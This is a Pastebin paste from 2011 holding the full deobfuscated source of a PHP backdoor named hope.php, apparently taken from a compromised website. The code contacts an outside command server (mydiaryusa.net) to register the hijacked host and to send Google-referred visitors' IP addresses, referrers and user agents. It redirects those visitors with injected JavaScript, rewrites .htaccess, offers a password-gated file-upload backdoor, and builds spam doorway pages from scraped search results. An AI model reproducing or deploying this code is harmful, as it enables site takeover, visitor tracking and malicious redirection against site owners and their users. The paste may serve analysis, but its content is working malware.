Advertisement
Guest User

hope.php decoded & functions replaced

a guest
Jun 23rd, 2011
276
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 11.57 KB | None | 0 0
  1. <?
  2.  
  3. error_reporting(0);
  4.  
  5. if (isset($_GET['q']))
  6. {
  7.     if( !( preg_match("/^([a-z0-9\-\.\)\(\&\=]*)$/i", $_GET['q'])))
  8.     {
  9.         die;
  10.     }
  11. }
  12.  
  13. if (extension_loaded('curl') && function_exists('curl_init') && function_exists('curl_exec')) {
  14.     function l__0($_0) {
  15.         $_1 = curl_init();
  16.         curl_setopt($_1, CURLOPT_URL, $_0);
  17.         curl_setopt($_1, CURLOPT_HEADER, 0);
  18.         curl_setopt($_1, CURLOPT_RETURNTRANSFER, 1);
  19.         curl_setopt($_1, CURLOPT_FOLLOWLOCATION, 1);
  20.         curl_setopt($_1, CURLOPT_TIMEOUT, 20);
  21.         curl_setopt($_1, CURLOPT_PORT, 80);
  22.         curl_setopt($_1, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 2.0.50727; InfoPath.1)');    
  23.         $_2 = curl_exec($_1);
  24.         $_3 = curl_getinfo($_1, CURLINFO_HTTP_CODE);
  25.         if ($_3 >= 400)
  26.             $_2 = false;
  27.         curl_close($_1);
  28.         return $_2;
  29.     }
  30. }
  31. else if(function_exists( 'file_get_contents')) {
  32.    
  33.     function l__0($_0) {
  34.         return file_get_contents($_0);
  35.     }
  36. }
  37. else
  38.     die( 'not work');
  39.  
  40.  
  41. $_4 = preg_replace( '/^www\\./',  '', $_SERVER[ 'HTTP_HOST']);
  42.    
  43.  
  44.    
  45.  
  46. @mkdir( '.log/');
  47. @chmod( '.log/',0511);
  48. @mkdir( '.log/'.$_4);
  49. @chmod( '.log/'.$_4,0511);
  50.  
  51.  
  52.  
  53. $_5 =  '.log/'.$_4. '/xml.cgi';
  54. if (@fopen($_5,  'r')) {} else {
  55. $_6 = fopen( '.log/'.$_4. '/xml.cgi', 'w+');
  56. fwrite($_6,  'mydiaryusa.net');
  57. fclose($_6);
  58. }
  59.  
  60.  
  61. if ( $_GET[ 'q'] ==  'alcobro' ) {
  62.  
  63. $_5 =  '.htaccess';
  64. if (file_exists($_5)) {
  65.      $_7 =  'disable';
  66. } else      {
  67. $_8 = "<IfModule mod_rewrite.c>
  68. RewriteEngine On
  69. RewriteCond %{REQUEST_FILENAME} !-f
  70. RewriteCond %{REQUEST_FILENAME} !-d
  71. RewriteRule ^(.*)$ ".$_SERVER[ 'SCRIPT_NAME']."?q=$1 [L]
  72. </IfModule>";
  73. $_9 =
  74.  fopen( '.htaccess', 'w+');
  75. fwrite($_9,$_8);
  76. fclose($_9);
  77. $_7 =  'enable';
  78.      }
  79.  
  80.  
  81.  
  82.      $_10 =  file_get_contents( '.log/'.$_4. '/xml.cgi');
  83.      $_11 =  'http://'.$_10. '/other/logdomain.php?q='.$_SERVER[ 'HTTP_HOST'];
  84.      $_12 = l__0($_11);
  85.      echo $_12.$_7;
  86.  die;
  87.  
  88.  
  89. }
  90.  
  91.  
  92. $_13 = $_POST[ 'name'];
  93. if (md5($_13) ==  '42a3f0678d1bbb517272142f5b3df3cd') {
  94.  
  95.  
  96. if ($_GET[ 'dom100500'] !=  '') {
  97.     $_14 = fopen( '.log/'.$_4. '/xml.cgi', 'w+');
  98.     fwrite($_14,$_GET[ 'dom100500']);
  99.     fclose($_14);
  100.     echo  '100500ok';
  101.     die;
  102. }
  103.  
  104.  
  105.  
  106.     if ($_GET[ 'up100500'] !=  '') {
  107.     $_15 =  '';
  108.     $_15 = $_15 . basename( $_FILES[ 'uploaded'][ 'name']) ;
  109.     $_16=round(0+0.5+0.5);
  110.     if(move_uploaded_file($_FILES[ 'uploaded'][ 'tmp_name'], $_15)) {
  111.         echo  'up100500';
  112.     }
  113.     echo  '<form enctype="multipart/form-data" method="POST"><input name="uploaded" type="file"><input type="submit" value="U"></form>';
  114.     die;
  115. }
  116. }
  117.  
  118.  
  119.  
  120. if ( strpos( $_SERVER[ 'HTTP_REFERER'],  'site%' ) > round(0) ) {} else {
  121. if ( strpos( $_SERVER[ 'HTTP_REFERER'],  'google.' ) > round(0) ) {
  122.    
  123.    
  124.     $_10 =  file_get_contents( '.log/'.$_4. '/xml.cgi');
  125.     $_17 = str_replace ( '-',  ' ', $_GET[ 'q']);
  126.     $_18 =  'http://mydiaryusa.net/out/stat.cgi?parameter='.rawurlencode(strtolower($_4.$_SERVER[ 'SCRIPT_NAME']. ':'.$_10)). '&ip='.rawurlencode($_SERVER[ 'REMOTE_ADDR']). '&ref='.rawurlencode(strtolower($_SERVER[ 'HTTP_REFERER'])). '&useragent='.rawurlencode(strtolower($_SERVER[ 'HTTP_USER_AGENT'])). '&domain='.rawurlencode(strtolower($_SERVER[ 'HTTP_HOST'])). '&visit=1&keyword='.rawurlencode($_17). '&sheme=23';
  127.     $_19 =  '';
  128.     $_19 = l__0($_18);
  129.     if (preg_match( '|http://|iU', $_19 ))
  130.     {
  131.             echo  '<script>var url = "'.$_19. '"; if (window!=top) {top.location.href = url;} else { document.location= url;}</script>';
  132.             die;
  133.     }
  134.    
  135.    
  136.     }
  137. }
  138.  
  139.  
  140.  
  141.  
  142.  
  143.  
  144. function l__1($_20) {
  145. $_4 = preg_replace( '/^www\\./',  '', $_SERVER[ 'HTTP_HOST']);
  146.    
  147.     $_21 = isset($_GET[ 'q']) ? str_replace( '/',  '', urldecode($_GET[ 'q'])) : FALSE;
  148.     $_22 = str_replace( '-', '+',$_21);
  149.     $_22 = str_replace( '_', '+',$_21);
  150.     $_23 =  'http://www.google.com/search?hl=en&as_q='.$_22. '&num=100&as_qdr=all';
  151.     $_24 = l__0($_23);
  152.     preg_match_all( '#<div class="s">(.*)<br>#U',$_24,$_25);
  153.     $_26=array();
  154.     for ($_27=round(0);$_27<count($_25[round(0+0.5+0.5)]);$_27++) {
  155.         $_28=trim($_25[round(0+1)][$_27]);
  156.         $_28=strip_tags($_28, '<em>');
  157.         $_28=str_replace( 'em>', 'b>',$_28);
  158.         $_28=str_replace( '...', '. ',$_28);
  159.         $_28=str_replace( '&amp;#39;',  '\'',$_28);
  160.         $_28=str_replace( '&#39;',  '\'',$_28);
  161.         $_28=str_replace( '#039;',  '\'',$_28);
  162.         $_28=str_replace( '&amp;quot;',  '',$_28);
  163.         $_28=str_replace( 'middot;',  '',$_28);
  164.         $_28=str_replace( 'quot;',  '',$_28);
  165.         $_28=str_replace( 'amp;',  '',$_28);
  166.         $_28=str_replace( 'nbsp;',  '',$_28);
  167.         $_28=str_replace( '�',  ' ',$_28);
  168.         $_28=strip_tags($_28);
  169.         array_push($_26,$_28);
  170.     }
  171.     for ($_27=round(0);$_27<round(0+12.5+12.5+12.5+12.5);$_27++) {
  172.         $_29.=$_26[$_27];
  173.     }
  174.    
  175.  
  176.  
  177.    
  178.     Class l__2
  179.     {
  180.         var $_30 = array();
  181.                                
  182.         function l__2($_31)
  183.         {
  184.             $_31 = strtolower($_31);
  185.             $_31 = str_replace(array ( '? ',  '! '),  '.', $_31);
  186.             $_31 = str_replace(array ( ' -',  '- ',  '  ',  '
  187. ',  '
  188. ',  '|',   '&',  '\\',  '/',   ' :',  ' ;',  '�',  '�'),  ' ', $_31);
  189.             $_31 = str_replace(array ( ')',  '(',  ']',  '[',  '�',  '\'',  '"',  '*',  '�',  '~',  '{',  '}'),  '', $_31);
  190.             $_31 = str_replace( ' ,',  ',', $_31);
  191.             $_31 = preg_replace( '~(\\s+\\d{1,2}\\s+)|(\\w*\\.\\w+)~',  ' ', $_31);
  192.             $_31 = preg_replace( '~\\s+~',  ' ', $_31);
  193.                
  194.             $_32 = explode( '. ', $_31);
  195.             $_33 = count($_32);
  196.             for ($_34=round(0); $_34<$_33; ++$_34)
  197.             {
  198.                     $_32[$_34] = explode( ' ', $_32[$_34]);
  199.                     $_35 = count($_32[$_34]) - 1;
  200.                     for ($_36=round(0); $_36 < $_35; ++$_36)
  201.                     {
  202.                         $_37 = $_32[$_34][$_36];
  203.                         $this->_30[$_37][] = $_32[$_34][$_36+1];
  204.                     }
  205.             }
  206.        
  207.             $_38 = array_keys($this->_30);
  208.             foreach ($_38 as $_21)
  209.             {
  210.                     $this->_30[$_21] = array_unique($this->_30[$_21]);
  211.             }
  212.         }
  213.            
  214.         function l__3($_39)
  215.         {
  216.             $_40 = round(0);
  217.             for ($_34=round(0); $_40 < $_39; ++$_34)
  218.             {
  219.                     $_41 = array_rand($this->_30);
  220.                     $_42  = mt_rand(round(0+2.5+2.5), round(0+6+6));
  221.                     for ($_36=round(0); $_36<$_42; ++$_36)
  222.                     {  
  223.                     $_43[$_34][$_36] = $_41;
  224.                         ++$_40;
  225.                         $_44 = $this->_30[$_41][mt_rand(round(0), count($this->_30[$_41]) - round(0+0.2+0.2+0.2+0.2+0.2))];
  226.                         if ($_44 ==  '') $_44 = array_rand($this->_30);
  227.                         $_41 = $_44;
  228.                         if ($_41 ==  '') break round(0+2);
  229.                     }
  230.             }
  231.    
  232.             foreach ($_43 as $_45)
  233.             {
  234.                     $_46=count($_45);
  235.                     if ($_46<=round(0+1+1)) continue;
  236.                    
  237.                     if (strlen($_45[$_46-round(0+0.25+0.25+0.25+0.25)]) < round(0+2+2)) unset($_45[$_46-round(0+0.2+0.2+0.2+0.2+0.2)]);
  238.                    
  239.                     $_45[$_46-round(0+0.5+0.5+0.5+0.5)] = rtrim($_45[$_46-round(0+0.4+0.4+0.4+0.4+0.4)],  ',:;');
  240.                     $_45[$_46-round(0+0.5+0.5)] = rtrim($_45[$_46-round(0+0.333333333333+0.333333333333+0.333333333333)],  ',:;');
  241.                     $_47 .= ucfirst(implode( ' ', $_45)). '. ';
  242.             }
  243.    
  244.             $_47 = str_replace( ' .',  '.', $_47);
  245.            
  246.             return $_47;
  247.         }
  248.    
  249.     }
  250.  
  251.     $_31 = $_29;
  252.     $_48 = new l__2($_31);
  253.     $_49 = $_48->l__3(round(0+1400));
  254.     $_49 = preg_replace( '/[^a-zA-Z\\., -]+?/',  '', $_49);
  255.    
  256.  
  257.  
  258.    
  259.     $_50 = isset($_GET[ 'q']) ? str_replace( '/',  '', urldecode($_GET[ 'q'])) : FALSE;
  260.     $_50=str_replace( '-', ' ',$_50);
  261.     $_50=str_replace( '_', ' ',$_50);
  262.  
  263.  
  264.  
  265. $_51 = str_replace ( ' ',  '+', $_50);
  266. if($_GET[ 'page'] !=  '1') { $_52 =  '&start='.($_GET[ 'page']-round(0+0.5+0.5))*round(0+21); }
  267. $_53 = l__0( 'http://images.google.com/images?q='.$_51. '&lr=lang_en'.$_52);
  268. preg_match_all( '/href="?\\/imgres\\?imgurl=([^\\&]+)/', $_53, $_54);
  269. $_55 = array();
  270. for ($_36 = round(0); $_36 < count($_54[round(0+0.2+0.2+0.2+0.2+0.2)]); $_36++) {
  271.     $_56 = array( 'right',  'left',  'center');
  272.     array_push($_55,  '<img src="' . $_54[round(0+1)][$_36] .  '" alt="'.ucwords($_51). '" align="'.$_56[array_rand($_56)]. '">');
  273. }
  274. shuffle($_55);
  275.    
  276.  
  277.    
  278.  
  279.  
  280. if (strstr($_SERVER[ 'REQUEST_URI'],  '.php')) {
  281. $_57 =  'http://'.$_SERVER[ 'HTTP_HOST'].$_SERVER[ 'SCRIPT_NAME']. '?q=';
  282. } else {
  283. $_57 =  'http://'.$_SERVER[ 'HTTP_HOST'].preg_replace( '/[^\\/]*?$/',  '', $_SERVER[ 'SCRIPT_NAME']);
  284. }
  285.  
  286.    
  287.     $_58 = round(0+15+15);
  288.     $_59 = glob(  '.log/'.$_4. '/*.html' );
  289.     array_multisort( array_map( 'filectime', $_59), 3, $_59 );
  290.     $_60 = round(0+1);
  291.     $_61 =  '';
  292.     foreach ( $_59 as $_62 )
  293.     {
  294.         if ( $_60 > $_58 ) break;
  295.         preg_match_all(  '#^\\.log/'.$_4."/(.*)\.html$#i", $_62, $_63 );
  296.         $_61 .=  '<a href="'.$_57.$_63[round(0+0.2+0.2+0.2+0.2+0.2)][round(0)]. '" title="'.str_replace(  '_',  ' ', str_replace(  '-',  ' ', $_63[round(0+0.333333333333+0.333333333333+0.333333333333)][round(0)])). '">'.str_replace(  '_',  ' ', str_replace(  '-',  ' ', $_63[round(0+0.333333333333+0.333333333333+0.333333333333)][round(0)])). '</a>, ';
  297.  
  298.         $_60++;
  299.     }
  300.  
  301.    
  302.     $_64 = l__0( 'http://clients1.google.com/complete/search?hl=en&ds=i&q=' . str_replace( ' ',  '%20', $_50));
  303.     preg_match_all( '|\\["([^"]+)",|si', $_64, $_65, 1);
  304.     $_66 = round(0);
  305.     array_shift($_65[round(0+0.2+0.2+0.2+0.2+0.2)]);
  306.     foreach ($_65[round(0+0.2+0.2+0.2+0.2+0.2)] as $_67) {
  307.         $_68 .=  '<a href=\''.$_57.str_replace( ' ',  '-', $_67). '\' title=\''.$_67. '\'>' . $_67 .  '</a>, ';
  308.         if ($_66++ > round(0+2.2+2.2+2.2+2.2+2.2)) break;
  309.     }
  310.  
  311.  
  312.     $_69 = $_57.$_GET[ 'q'];
  313.     $_70 =  '<a href="'.$_69. '&page=2" title="'.ucwords($_50). '">'.ucwords($_50). ' - Page 2</a> | <a href="'.$_69. '&page=3" title="'.ucwords($_50). '">'.ucwords($_50). ' - Page 3</a> | <a href="'.$_69. '&page=4" title="'.ucwords($_50). '">'.ucwords($_50). ' - Page 4</a> | <a href="'.$_69. '&page=5" title="'.ucwords($_50). '">'.ucwords($_50). ' - Page 5</a> | <a href="'.$_69. '&page=6" title="'.ucwords($_50). '">'.ucwords($_50). ' - Page 6</a> | <a href="'.$_69. '&page=7" title="'.ucwords($_50). '">'.ucwords($_50). ' - Page 7</a>';
  314.  
  315.  
  316.    
  317.    
  318.    
  319.  
  320. $_71 = explode (  '.', $_49 );
  321. $_2 = array_merge($_71, $_55);
  322. shuffle($_2);
  323.  
  324. foreach ($_2 as $_72) {
  325. $_73 .= $_72;
  326. }
  327.  
  328.    
  329.  
  330. $_74 =  '.log/'.$_4. '/don.txt';
  331.  
  332.  
  333. if ( !file_exists( $_74 ) ) {
  334.     $_75 = file_get_contents(  'http://'.$_SERVER[ 'HTTP_HOST'] );
  335.     $_75 = preg_replace(  '/<meta(.*)name="description"(.*)>/i',  '', $_75 );
  336.    
  337.     $_76 = preg_match_all(  '/<([a-zA-z]+)>(.*)<\\/([a-zA-Z]+)>/imsU', $_75, $_77 );
  338.     $_78 = round(0);
  339.     $_79 = round(0);
  340.    
  341.     for ( $_36 = round(0); $_36 < $_76; $_36++ ) {
  342.         if ( (preg_match( '/\\<script/imsU', $_77[round(0)][$_36]) == round(0)) AND (strlen($_77[round(0)][$_36]) > $_78) ) {
  343.             $_78 = strlen($_77[round(0)][$_36]);
  344.             $_79 = $_36;
  345.         }
  346.     }
  347.    
  348.     $_75 = str_replace( $_77[round(0)][$_79], $_77[round(0)][$_79]. '<REPLACEME>', $_75 );
  349.    
  350.    
  351.     $_80 = fopen( $_74,  'w' );
  352.     fputs($_80, $_75);
  353.     fclose($_80);
  354.  
  355. }
  356.  
  357.  
  358. $_81 =  '<h1>'.strtoupper($_50).$_82. '</h1>
  359. '.$_68.$_61. '
  360. '.$_73. '
  361. <p>'.$_70. '</p>';
  362.     return $_81;
  363. }
  364.  
  365.  
  366.  
  367. function l__4($_83) {
  368. $_4 = preg_replace( '/^www\\./',  '', $_SERVER[ 'HTTP_HOST']);
  369.     $_84= '.log/'.$_4. '/'.$_83 . '.html'.$_GET[ 'page'];
  370.     if(@file_exists($_84))return@file_get_contents($_84);
  371.     $_20=str_replace( '-', ' ',$_83);
  372.     $_20=str_replace( '+', ' ',$_83);
  373.     $_85=l__1($_20);
  374.     $_86=@fopen($_84, 'w');
  375.     @fwrite($_86,$_85);
  376.     @fclose($_86);
  377.     return $_85;
  378.     $_87=file_get_contents($_84);
  379. }
  380.  
  381.  
  382.        
  383.         if($_GET[ 'q']!=  '')
  384.         {
  385. $_74 =  '.log/'.$_4. '/don.txt';
  386. if  (filesize($_74) < round(0+200+200+200+200) ) {
  387. $_75 =  '<head>
  388. <title>title</title>
  389. </head>
  390. <body>
  391. <REPLACEME>
  392. </body>
  393. </html>';
  394. } else {
  395. $_75 = file_get_contents( $_74 );
  396. }
  397.  
  398. $_88=basename($_GET[ 'q']);
  399. $_50 = $_GET[ 'q'];
  400. $_50=str_replace( '-', ' ',$_50);
  401. $_50=str_replace( '.html', '',$_50);
  402.  
  403.  
  404. $_75 = preg_replace(  '/<title>(.*)<\\/title>/imsU',  '<title>'.ucwords($_50). '</title>', $_75 );
  405. $_75 = str_replace(  '<REPLACEME>', l__4($_88), $_75 );
  406. print $_75;
  407. exit;
  408.                     }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement